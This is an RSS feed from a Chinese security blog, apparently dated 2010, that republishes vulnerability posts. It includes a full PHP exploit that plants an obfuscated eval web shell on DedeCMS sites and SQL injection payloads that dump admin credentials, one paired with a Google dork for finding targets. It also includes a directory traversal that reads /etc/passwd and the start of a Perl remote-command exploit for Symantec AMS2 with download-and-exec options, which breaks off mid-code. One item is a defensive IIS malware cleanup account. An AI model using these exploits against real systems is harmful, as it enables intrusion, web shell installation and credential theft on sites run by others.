<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[GuLang's Blog]]></title>
<link>http://www.0354hk.com/</link>
<description><![CDATA[创造机会的人是勇者；等待机会的人是愚者]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[chenliangsx@gmail.com(孤_狼)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>GuLang&#39;s Blog</title>
	<url>http://www.0354hk.com/images/logos.gif</url>
	<link>http://www.0354hk.com/</link>
	<description>GuLang&#39;s Blog</description>
</image>

			<item>
			<link>http://www.0354hk.com/article.asp?id=390</link>
			<title><![CDATA[BBSxp2008 8.0.4 Sql注入漏洞]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Tue,09 Mar 2010 09:40:03 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=390</guid>
		<description><![CDATA[影响版本：BBSxp 2008 (Build: 8.0.4)<br/>漏洞文件:MoveThread.asp<br/>MoveThread.asp行2-24<br/>#----代码阅读----#<br/><br/>if CookieUserName =empty then error(&amp;quot;您还未&amp;lt;a href=&amp;quot;&amp;quot;javascript:BBSXP_Modal.Open (&amp;#039;Login.asp&amp;#039;,380,170);&amp;quot;&amp;quot;&amp;gt;登录&amp;lt;/a&amp;gt;&amp;quot;) &amp;#039;保存cookie登陆即可<br/>ThreadID=R<br/><br/><br/>漏洞文件:MoveThread.asp<br/>MoveThread.asp行2-24<br/>&lt;%<br/>if CookieUserName =empty then error(&#34;您还未&lt;a href=&#34;&#34;javascript:BBSXP_Modal.Open (&#39;&#39;Login.asp&#39;&#39;,380,170);&#34;&#34;&gt;登录&lt;/a&gt;&#34;) &#39;&#39;保存cookie登陆即可 ThreadID=Request(&#34;ThreadID&#34;) &#39;&#39; Sql Injection Vulnerability<br/>If Not IsNumeric(ThreadID) then<br/>ThreadIDArray=Split(ThreadID,&#34;,&#34;) &#39;&#39;判断数组,避免13行出错<br/>if IsArray(ThreadIDArray) then<br/>for i=0 to Ubound(ThreadIDArray)<br/>if Execute (&#34;Sel&#101;ct ThreadID from [&#34;&amp;TablePrefix&amp;&#34;Threads] wh&#101;re ThreadID=&#34;&amp; ThreadIDArray(i)&amp;&#34;&#34;).eof then error&#34;&lt;li&gt;系统不存在该帖子的资料&#34;<br/>next<br/>ThreadIDSql=int(ThreadIDArray(0))<br/>else<br/>error(&#34;参数错误。&#34;)<br/>end if<br/>Else<br/>ThreadIDSql=int(ThreadID)<br/>End If<br/><br/><br/>ForumID=Execute(&#34;Sel&#101;ct ForumID From [&#34;&amp;TablePrefix&amp;&#34;Threads] wh&#101;re ThreadID=&#34;&amp;ThreadIDSql&amp;&#34;&#34;)(0)<br/>%&gt;<br/>&lt;!-- #include file=&#34;Utility/ForumPermissions.asp&#34; --&gt;<br/><br/>先执行了查询后判断了权限，导致普通用户即可进行sql注射。<br/>构造Url：;<br/>提交，返回出错信息<br/>Microsoft JET Database Engine 错误 &#39;&#39;80040e14&#39;&#39;<br/>字符串的语法错误 在查询表达式 &#39;&#39;ThreadID=1&#39;&#39;&#39;&#39; 中。<br/>/BBSXP_Class.asp，行 5<br/>漏洞辅助工具：SQL 版本比较好利用，access的nbsi貌似只能猜解出表和字段，字段值无法猜解，需要手工进行。<br/>文章转载自『非安全中国网』地址: <a href="http://www.sitedir.com.cn/exploit-1157.html" target="_blank" rel="external">http://www.sitedir.com.cn/exploit-1157.html</a>]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=389</link>
			<title><![CDATA[dedecms5.1爆出注入漏洞]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Tue,09 Mar 2010 09:39:33 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=389</guid>
		<description><![CDATA[dedecms5.1爆出注入漏洞(极有可能全部版本适用)<br/>漏洞关联文件：member_guestbook_action.php<br/>源码解析：<br/><br/>$title = cn_substr(html2text($title),60);<br/>$msg = cn_substr(stripslashes($msg),2048);<br/>if($cfg_ml-&gt;M_UserName!=&#34;&#34; &amp;&amp; $cfg_ml-&gt;M_ID!=$uidnum) $gid = $cfg_ml-&gt;M_UserName;<br/>else&nbsp;&nbsp;$gid = &#39;&#39;&#39;&#39;;<br/><br/>$inquery = &#34;<br/>&nbsp;&nbsp; Ins&#101;rt INTO #@__member_guestbook(mid,gid,title,msg,uname,email,qq,tel,ip,dtime)<br/>&nbsp;&nbsp; VALUES (&#39;&#39;$uidnum&#39;&#39;,&#39;&#39;$gid&#39;&#39;,&#39;&#39;$title&#39;&#39;,&#39;&#39;$msg&#39;&#39;,&#39;&#39;$uname&#39;&#39;,&#39;&#39;$email&#39;&#39;,&#39;&#39;$qq&#39;&#39;,&#39;&#39;$tel&#39;&#39;,&#39;&#39;&#34;.GetIP().&#34;&#39;&#39;,&#34;.mytime().&#34;);<br/>&#34;;<br/><br/><br/>漏洞等级：一般的注射<br/>cn_substr在别处有别的错.这里无所谓了.<br/><br/>利用位置：<br/>空间留言:<br/><br/>cccccc&#39;&#39;,(sel&#101;ct concat(userid,0x3a,pwd) from #@__admin limit 0,1),&#39;&#39;&#39;&#39;,&#39;&#39;&#39;&#39;,&#39;&#39;&#39;&#39;,&#39;&#39;123&#39;&#39;,123)#]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=388</link>
			<title><![CDATA[DedeCms v5.5 0day]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Tue,09 Mar 2010 09:39:00 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=388</guid>
		<description><![CDATA[漏洞文件：digg_ajax.php<br/>#DedeCms v5.5 0day#<br/>&lt;?php<br/>print_r(&#39;&#39;<br/>+----------------------------------------+<br/>dedecms v5.5 final getwebshell exploit<br/>+----------------------------------------+<br/>&#39;&#39;);<br/>if ($argc &lt; 3) {<br/>print_r(&#39;&#39;<br/>+----------------------------------------+<br/>Usage: php &#39;&#39;.$argv[0].&#39;&#39; host path<br/>host:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target server (ip/hostname)<br/>path:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;path to dedecms<br/>Example:<br/>php &#39;&#39;.$argv[0].&#39;&#39; localhost /dedecms/<br/>+----------------------------------------+&nbsp;&nbsp;&nbsp;&nbsp;<br/>&#39;&#39;);<br/>exit;<br/>}<br/>error_reporting(7);<br/>ini_set(&#39;&#39;max_execution_time&#39;&#39;, 0);<br/><br/>$host = $argv[1];<br/>$path = $argv[2];<br/><br/>$post_a = &#39;&#39;plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(116).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(39).chr(116).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62));/*&#39;&#39;;<br/>$post_b = &#39;&#39;needCode=aa/../../../data/mysql_error_trace&#39;&#39;;<br/>$shell = &#39;&#39;data/cache/t.php&#39;&#39;;<br/><br/>get_send($post_a);<br/>post_send(&#39;&#39;plus/comments_frame.php&#39;&#39;,$post_b);<br/>$content = post_send($shell,&#39;&#39;t=echo tojen;&#39;&#39;);<br/><br/>if(substr($content,9,3)==&#39;&#39;200&#39;&#39;){<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo &#34;\nShell Address is:&#34;.$host.$path.$shell;<br/>}else{<br/>&nbsp;&nbsp;&nbsp;&nbsp;echo &#34;\nError.&#34;;<br/>}<br/>function get_send($url){<br/>&nbsp;&nbsp;&nbsp;&nbsp;global $host, $path;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message = &#34;GET &#34;.$path.&#34;$url&nbsp;&nbsp;HTTP/1.1\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Accept: */*\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Referer: <a href="http://" target="_blank" rel="external">http://</a>$host$path\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Accept-Language: zh-cn\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Host: $host\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Connection: Close\r\n\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$fp = fsockopen($host, 80);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(!$fp){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#34;\nConnect to host Error&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;fputs($fp, $message);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$back = &#39;&#39;&#39;&#39;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;while (!feof($fp))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$back .= fread($fp, 1024);<br/>&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);<br/>&nbsp;&nbsp;&nbsp;&nbsp;return $back;<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>}<br/>function post_send($url,$cmd){<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;global $host, $path;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message = &#34;POST &#34;.$path.&#34;$url&nbsp;&nbsp;HTTP/1.1\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Accept: */*\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Referer: <a href="http://" target="_blank" rel="external">http://</a>$host$path\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Accept-Language: zh-cn\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Host: $host\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Content-Length: &#34;.strlen($cmd).&#34;\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= &#34;Connection: Close\r\n\r\n&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$message .= $cmd;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$fp = fsockopen($host, 80);<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(!$fp){<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &#34;\nConnect to host Error&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;fputs($fp, $message);<br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;$back = &#39;&#39;&#39;&#39;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;while (!feof($fp))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$back .= fread($fp, 1024);<br/>&nbsp;&nbsp;&nbsp;&nbsp;fclose($fp);<br/>&nbsp;&nbsp;&nbsp;&nbsp;return $back;<br/>}<br/>?&gt;<br/>相关利用过程明天给出，谣传通杀全部版本！]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=387</link>
			<title><![CDATA[Dedecms V5.5 Final 远程代码执行漏洞]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Tue,09 Mar 2010 09:38:05 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=387</guid>
		<description><![CDATA[代码下载地址： <a href="http://www.dedecms.com/upimg/sof" target="_blank" rel="external">http://www.dedecms.com/upimg/sof</a> ... 55-GBK-Final.tar.gz<br/><br/>这个漏洞是上次那个代码执行漏洞的再次利用<br/><br/><br/>/include/dedesql.class.php<br/><br/>01&nbsp;&nbsp;&nbsp;&nbsp;//显示数据链接错误信息<br/>02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;function DisplayError($msg)<br/>03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$errorTrackFile = dirname(__FILE__).&#39;/../data/mysql_error_trace.inc&#39;;<br/>05&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if( file_exists(dirname(__FILE__).&#39;/../data/mysql_error_trace.php&#39;) )<br/>06&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>07&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@unlink(dirname(__FILE__).&#39;/../data/mysql_error_trace.php&#39;);<br/>08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg = &#39;&#39;;<br/>10&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg .= &#34;&lt;div&gt;&lt;h3&gt;DedeCMS Error Warning!&lt;/h3&gt;\r\n&#34;;<br/>11&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg .= &#34;&lt;div&gt;&lt;a href=&#39;<a href="http://bbs.dedecms.com" target="_blank" rel="external">http://bbs.dedecms.com</a>&#39; target=&#39;_blank&#39; style=&#39;color:red&#39;&gt;Technical Support: <a href="http://bbs.dedecms.com" target="_blank" rel="external">http://bbs.dedecms.com</a>&lt;/a&gt;&lt;/div&gt;&#34;;<br/>12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg .= &#34;&lt;div style=&#39;line-helght:160%;font-size:14px;color:green&#39;&gt;\r\n&#34;;<br/>13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg .= &#34;&lt;div style=&#39;color:blue&#39;&gt;Error page: &lt;font color=&#39;red&#39;&gt;&#34;.$this-&gt;GetCurUrl().&#34;&lt;/font&gt;&lt;/div&gt;\r\n&#34;;<br/>14&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg .= &#34;&lt;div&gt;Error infos: {$msg}&lt;/div&gt;\r\n&#34;;<br/>15&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$emsg .= &#34;&lt;/div&gt;&lt;/div&gt;\r\n&#34;;<br/>16&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>17&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo $emsg;<br/>18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br/>19&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$savemsg = &#39;Page: &#39;.$this-&gt;GetCurUrl().&#34;\r\nError: &#34;.$msg;<br/>20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//保存MySql错误日志<br/>21&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$fp = @fopen($errorTrackFile, &#39;a&#39;);<br/>22&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@fwrite($fp, &#39;&lt;&#39;.&#39;?php&#39;.&#34;\r\n/*\r\n{$savemsg}\r\n*/\r\n?&#34;.&#34;&gt;\r\n&#34;);<br/>23&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@fclose($fp);<br/>24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>数据库错误代码写入 /data/mysql_error_trace.inc，我们可以利用上次的方法先将代码，比如phpinfo();echo flyh4t;注入到该文件中<br/><br/>继续看代码<br/><br/>include/datalistcp.class.php<br/><br/>01&nbsp;&nbsp;&nbsp;&nbsp;if(!defined(&#39;DEDEINC&#39;))<br/>02&nbsp;&nbsp;&nbsp;&nbsp;{<br/>03&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(&#39;Request Error!&#39;);<br/>04&nbsp;&nbsp;&nbsp;&nbsp;}<br/>05&nbsp;&nbsp;&nbsp;&nbsp;require_once(DEDEINC.&#39;/dedetemplate.class.php&#39;);<br/>06&nbsp;&nbsp;&nbsp;&nbsp;$codefile = (isset($needCode) ? $needCode : $cfg_soft_lang);<br/>07&nbsp;&nbsp;&nbsp;&nbsp;if(file_exists(DEDEINC.&#39;/code/datalist.&#39;.$codefile.&#39;.inc&#39;))<br/>08&nbsp;&nbsp;&nbsp;&nbsp;{<br/>09&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;require_once(DEDEINC.&#39;/code/datalist.&#39;.$codefile.&#39;.inc&#39;);<br/>10&nbsp;&nbsp;&nbsp;&nbsp;}<br/>$needCode 没有过滤，造成了一个本地文件包含漏洞，而且包含的是一个inc文件，用来包含上面的那个inc实在是再好不过了<br/><br/>plus目录下多个文件可以触发这个漏洞。这里不需要担心注册变量的问题，文件一般会先include common.inc.php 文件<br/>提交$needCode后dedecms会模拟全局变量自动帮我们注册<br/><br/>比如如下代码：<br/><br/>/plus/comments_frame.php<br/><br/>01&nbsp;&nbsp;&nbsp;&nbsp;&lt;?php<br/>02&nbsp;&nbsp;&nbsp;&nbsp; <br/>03&nbsp;&nbsp;&nbsp;&nbsp;/**<br/>04&nbsp;&nbsp;&nbsp;&nbsp; * 二级域名评论调用<br/>05&nbsp;&nbsp;&nbsp;&nbsp; *<br/>06&nbsp;&nbsp;&nbsp;&nbsp; * @author cha369<br/>07&nbsp;&nbsp;&nbsp;&nbsp; * @package dedecms<br/>08&nbsp;&nbsp;&nbsp;&nbsp; */<br/>09&nbsp;&nbsp;&nbsp;&nbsp;require_once(dirname(__FILE__).&#34;/../include/common.inc.php&#34;);<br/>10&nbsp;&nbsp;&nbsp;&nbsp;require_once(DEDEINC.&#34;/datalistcp.class.php&#34;);<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=386</link>
			<title><![CDATA[毕节热线企业建站系统漏洞 0day]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Tue,09 Mar 2010 09:35:22 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=386</guid>
		<description><![CDATA[1.google<br/>inurl:friendlink.asp 网站介绍：E_mail:<br/>exp:<br/>productview.asp?id=8%20union%20sel&#101;ct%201,admin,3,4,5,6,7,password,9,10,11,12%20from%20admin<br/>爆出管理用户名 密码 <br/>（poc:cmd5加密）<br/>3.后台地址：admin/adminlogin.asp<br/>4.后台有数据库备份]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=385</link>
			<title><![CDATA[快客电邮（QuarkMail）最新远程漏洞]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Sun,07 Mar 2010 12:35:52 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=385</guid>
		<description><![CDATA[漏洞说明：快客电邮（QuarkMail）是北京雄智伟业科技公司推出的电子邮件系 统，被广泛用于各个领域的电子邮件解决方案(该产品的主要客户名单<a href="http://www.ipmotor.com/cases/cases.html" target="_blank" rel="external">http://www.ipmotor.com/cases/cases.html</a>)， 其webmail部分使用perl cgi编写，近日笔者在渗透测试过程当中发现一处严重的安全漏洞，导致远程用户可以在邮件系统上以当前web权限身份下载任意文件，获取敏感配置文件（如 系统口令文件/数据库密码）从而进一步渗透主机或者系统。 <br/>影响范围：&lt;=quarkmail server&nbsp;&nbsp; version 1.2.1(本稿截止为最新版) <br/>厂商网址：<a href="http://www.ipmotor.com/" target="_blank" rel="external">http://www.ipmotor.com/</a> <br/>漏洞解析：用户传入的 参数没有做有效的过滤，从而导致产生了目录遍历漏洞。 <br/><br/>漏洞测试： <br/>登录进入系统之后访问精心构造的邮件附件URL <br/><a href="http://mail.xxx.com/cgi-bin/down" target="_blank" rel="external">http://mail.xxx.com/cgi-bin/down</a> … P/E/B/xxx@xxxx.com/ <br/>inbox/1265055507.75326.439.www.xxx.com&amp;filename=.. /../../../../../../../../../../../../etc/passwd即可以将passwd文件下载至本地打开，下载 mysql数据库文件将可以获取数据库密码。 <br/>漏洞解决：请等待官方补丁。 ]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=384</link>
			<title><![CDATA[处理WIN2003服务器IIS被挂马全过程]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[技术文章]]></category>
			<pubDate>Sat,06 Mar 2010 21:17:02 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=384</guid>
		<description><![CDATA[By&nbsp;&nbsp;wuchaochao <br/><br/>一台服务器 几乎所有网站打开网页 甚至HTML网页 都出现了<br/>&lt;iframe src=&#34;<a href="http://xxxdfsfd/web.htm" target="_blank" rel="external">http://xxxdfsfd/web.htm</a>&#34; height=0 width=0&gt;&lt;/iframe&gt;<br/>这种样式的代码 有的在头部　有的在尾部 部分杀毒软件打开会报毒<br/>打开HTML或ASP PHP页面 在源码中怎么也找不到这段代码<br/>分析原因<br/>首先怀疑ARP挂马，用防ＡＲＰ的工具又没有发现有arp欺骗<br/>而且arp欺骗一般不会每次都被插入代码，而是时有时无<br/>而且使用<a href="http://127.0.0.1" target="_blank" rel="external">http://127.0.0.1</a> 或者<a href="http://localhost" target="_blank" rel="external">http://localhost</a> 访问的时候也可以找到这段代码<br/>arp欺骗的可能排除。<br/>然后就想到可能是JS被篡改，或者是其它的包含文件，查找后没有发现被改的页面 连新建的HTML页面浏览的时候也会被插入这段代码，那就只能是通过ＩＩＳ挂上去的了。<br/>备份iis数据然后重装iis，代码消失，将备份的iis恢复，问题又来了。<br/>仔细寻找，问题应该出在IIS的配置文件上，打开配置文件，没有发现那段代码。<br/>那很有可能是调用了某个文件，这个怎么查啊，忽然想起了大名鼎鼎的Filemon<br/>本地载了一个上传到服务器上，打开Filemon，数据太多了，过滤掉一些没有用的<br/>只留下iis的进程，数据还是很多，看来服务器上的站点还是挺多人在访问的。<br/>关掉所有站点,建了一个测试站点anky 目录为D:\www\　在下面建了一个空白页面test.htm<br/>访问一下这个页面代码被插进来了，再看一下Filemon　奇怪怎么读取C:\Inetpub\wwwroot\iisstart.htm<br/>打开C:\Inetpub\wwwroot\iisstart.htm一看，里面就躺着<br/>&lt;iframe src=&#34;<a href="http://xxxdfsfd/web.htm" target="_blank" rel="external">http://xxxdfsfd/web.htm</a>&#34; height=0 width=0&gt;&lt;/iframe&gt;<br/>把代码删除了留空，访问test.htm 正常了，把C:\Inetpub\wwwroot\iisstart.htm删除了再访问<br/>test.htm　出现　“读取数据页脚文件出错”问题就出这里了，看来是调用了<br/>这个文件。<br/>把C:\Inetpub\wwwroot\iisstart.htm清空就正常了，这样怎么行，解决问题当然要连根拔掉。<br/>continue<br/>有没有可能是扩展造成的，到扩展中检查了一遍全部都是正常的<br/>当然 通过ISAPI 挂马的也是存在的<br/>左想右想最后还是觉得配置文件有问题<br/>打开配置文件，配置文件在%windir%\system32\inetsrv\MetaBase.xml<br/>用记事本打开，查找iisstart.htm　找到一行，开始以为是默认站点，后来一想不对啊<br/>默认站点都删除了，再仔细一看这句代码为<br/>DefaultDocFooter=&#34;file:C:\Inetpub\wwwroot\iisstart.htm&#34;<br/>删除掉这一行，问题彻底解决了。<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=383</link>
			<title><![CDATA[赛门铁克远程溢出exp 允许攻击者执行任意指令与&amp;系统级权限(图 附Exp下载）]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Sat,06 Mar 2010 21:11:56 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=383</guid>
		<description><![CDATA[#The AMS2 (Alert Management Systems 2) component of multiple Symantec products is prone to a remote #command-execution vulnerability because the software fails to adequately sanitize user-supplied #input.<br/>#Successfully exploiting this issue will allow an attacker to execute arbitrary commands with #SYSTEM-level privileges, completely compromising affected computers. Failed exploit attempts will #result in a denial-of-service condition.<br/># # # # # # # # # # # # # # # # # # # # # # # # #<br/>### SYMANTEC AV w/ INTEL FILE TRANSFER SERVICE<br/>### REMOTE SYSTEM LEVEL EXPLOIT<br/>### USE AT YOUR OWN RISK!3EST.COM<br/># # # # # # # # # # # # # # # # # # # # # # # # #<br/>use IO::Socket;<br/>sub rce {<br/>($target, $cmmd) = @_;<br/>$sock = IO::Socket::INET-&gt;new(PeerAddr =&gt; $target,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PeerPort =&gt; &#39;12174&#39;,<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Proto =&gt; &#39;tcp&#39;) || goto lbl;<br/>$magic = sprintf(&#34;%d&#34;, 0xc0d3b4b3);<br/>$command = &#34;cmd.exe /C $cmmd | exit $magic&#34;;<br/>$cmd = &#34;$command&#34;;<br/>$req = &#34;\x00\x00\x00\x00&#34; . pack(&#34;v&#34;, length($cmd)+1) . $cmd . &#34;\x00&#34;;<br/>print $sock $req;<br/>read($sock, $res, 0x14);<br/>$resp = substr($res, 0x10, 4);<br/>if ($resp eq pack(&#34;L&#34;, 0xc0d3b4b3)) {<br/>print &#34;SUCCESS!\n&#34;;<br/>} else {<br/>print &#34;COMMAND FAILED\n&#34;;<br/>}<br/>return;<br/>lbl:<br/>print &#34;PORT CLOSED\n&#34;;<br/>exit;<br/>}<br/>sub usage {<br/>print &#34;usage: perl xpl.pl [-a&nbsp;&nbsp; ] [-a2&nbsp;&nbsp;&nbsp;&nbsp; [-d&nbsp;&nbsp;] [-t&nbsp;&nbsp;]\n&#34;;<br/>print &#34;-a IS ADDUSER WITH SID METHOD\n&#34;;<br/>print &#34;-a2 IS ADDUSER BY NAME\n&#34;;<br/>print &#34;-t IS TEST\n&#34;;&nbsp;&nbsp;<br/>print &#34;-d IS DOWNLOAD AND EXEC, EXE FILE MUST NOT BE DETECTABLE BY SYMANTEC AV\n&#34;;<br/>print &#34;Example: perl xpl.pl -a www.symantec.com r00t p455\n&#34;;<br/>exit;<br/>}<br/>print &#34;\n*** Symantec AV Remote Exploit\n*** by Kingcope in 2009\n\n&#34;;<br/>if 